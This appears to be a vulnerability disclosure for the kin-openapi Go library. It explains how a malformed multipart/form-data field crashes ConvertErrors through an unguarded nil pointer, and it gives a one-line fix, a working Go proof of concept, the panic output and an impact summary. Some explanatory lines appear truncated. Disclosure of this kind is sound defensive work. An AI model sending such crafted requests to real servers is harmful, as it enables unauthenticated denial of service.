kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS

The only default code path that satisfies both conditions is the multipart body decoder, which wraps a failed part's *ParseError inside another *ParseError at req_resp_decoder.go:1549 and :1558:

if v, ok := err.(*ParseError); ok {
    return nil, &ParseError{path: []any{name}, Cause: v}   // v is a *ParseError → nested
}

Why other paths do not reach the dereference:

Note that the sibling "path" branch two lines above (line 108) already guards correctly with e.Parameter != nil; the "query" branch simply omits the same guard.

Recommended fix. Add the missing nil guard to the condition:

 		if rootErr, ok := innerErr.Cause.(*ParseError); ok &&
-			rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" {
+			rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query" {

When e.Parameter == nil the inner if is skipped and control falls through to the existing return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason} at line 127-130 — a correct 400 Bad Request. I verified that applying only this one-line guard stops the panic and returns *ValidationError{Status: 400}.

Minor follow-up worth including in the same change: for the multipart nested *ParseError, the outer ParseError.Reason is empty, so the fallback Title: innerErr.Reason yields a 400 with an empty Title. The descriptive text lives in innerErr.Error() (e.g. "path age: value notanumber: an invalid integer: invalid syntax"). Prefer a non-empty fallback:

title := innerErr.Reason
if title == "" {
    title = innerErr.Error()
}
return &ValidationError{Status: http.StatusBadRequest, Title: title}

PoC

Verified against revision 98d956447b64eaa10d3570a80b3be1a2849945f1 (also reproducible on current master), Go 1.25.0.

1. Spec — one operation accepting a multipart/form-data body with a non-string scalar (integer) property:

openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                age: {type: integer}
      responses:
        '200': {description: ok}

2. Program — validate a request whose age part is non-numeric, then convert the error the way a typical error-rendering middleware does:

package main

import (
	"bytes"
	"context"
	"fmt"
	"mime/multipart"
	"net/http"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                age: {type: integer}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, _ := loader.LoadFromData([]byte(spec))
	_ = doc.Validate(loader.Context)
	router, _ := gorillamux.NewRouter(doc)

	// multipart body: a non-numeric value for the integer property "age"
	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	_ = w.WriteField("age", "notanumber")
	w.Close()

	r, _ := http.NewRequest(http.MethodPost, "/upload", &buf)
	r.Header.Set("Content-Type", w.FormDataContentType())
	route, pp, _ := router.FindRoute(r)

	reqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
		Request: r, PathParams: pp, Route: route,
		Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
	})
	fmt.Printf("ValidateRequest returned: %T\n", reqErr) // *openapi3filter.RequestError

	// What an application's error-rendering middleware calls:
	_ = openapi3filter.ConvertErrors(reqErr) // panics
	fmt.Println("no panic (unexpected)")
}

3. Observed output (go run .):

ValidateRequest returned: *openapi3filter.RequestError
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]

goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3filter.convertParseError(...)
	.../openapi3filter/validation_error_encoder.go:120 +0x17c
github.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)
	.../openapi3filter/validation_error_encoder.go:42 +0xec
main.main()
	...
exit status 2

The panic is at exactly validation_error_encoder.go:120 — the unguarded e.Parameter.In dereference.

Control (confirms JSON is not a vector): repeating the setup with an application/json body and either a malformed body ({"age": ) or a wrong-type body ({"age": "notanumber"}) returns from ConvertErrors normally, with no panic. Only the multipart/form-data path crashes.

In a real HTTP server, ConvertErrors / ValidationErrorEncoder.Encode runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a recover() in the middleware chain, is trivially repeatable.

Impact

• Type: Nil-pointer dereference → unauthenticated remote denial of service.
• Who is impacted: any application using github.com/getkin/kin-openapi/openapi3filter that (1) exposes an endpoint accepting a multipart/form-data request body with at least one non-string scalar property (integer / number / boolean), and (2) renders validation errors through the library's own ValidationErrorEncoder or ConvertErrors helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration.
• Attack: a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.
• Consequence: the handling goroutine panics. Absent a recover() boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected.
• Not affected: applications that only accept application/json bodies (verified above), applications that do not use ConvertErrors / ValidationErrorEncoder to format errors, or applications that wrap handlers in a recover() (which converts the crash into a handled 500 but still prevents normal error rendering).